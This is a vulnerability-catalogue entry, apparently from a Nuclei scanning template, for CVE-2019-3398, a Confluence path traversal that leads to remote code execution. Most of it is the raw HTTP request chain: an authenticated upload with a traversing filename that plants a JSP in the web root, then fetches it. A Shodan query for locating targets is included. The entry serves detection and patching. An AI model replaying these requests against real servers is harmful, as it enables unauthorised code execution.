| Title | Atlassian Confluence Download Attachments - Remote Code Execution |
|---|---|
| Author | rootxharsh,iamnoooob,pdresearch |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches provided by Atlassian to fix the vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93863 |
| CVE ID | CVE-2019-3398 |
| CWE ID | CWE-22 |
| Shodan Query | http.component:"atlassian confluence"cpe:"cpe:2.3:a:atlassian:confluence" |
| Tags | cve cve2019 packetstorm atlassian confluence rce authenticated intrusive kev vkev vuln |
Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has ‘Admin’ permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.
POST /dologin.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
os_username=PgyI9I&os_password=DwBGTO&login=Log%2Bin&os_destination=
GET /pages/createpage.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /plugins/drag-and-drop/upload.action?draftId=B2Dg9b&filename=../../../../../../opt/atlassian/confluence/confluence/pages/38FYholOnmJtA7c3kCqhIGQ7l2b.jsp&size=8&mimeType=text%2Fplain&atl_token=DVu2No HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 15
Accept-Encoding: gzip
$GQSQKU*950466}
GET /pages/downloadallattachments.action?pageId=B2Dg9b HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /pages/38FYholOnmJtA7c3kCqhIGQ7l2b.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3398.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-3398.pcap
N/AN/A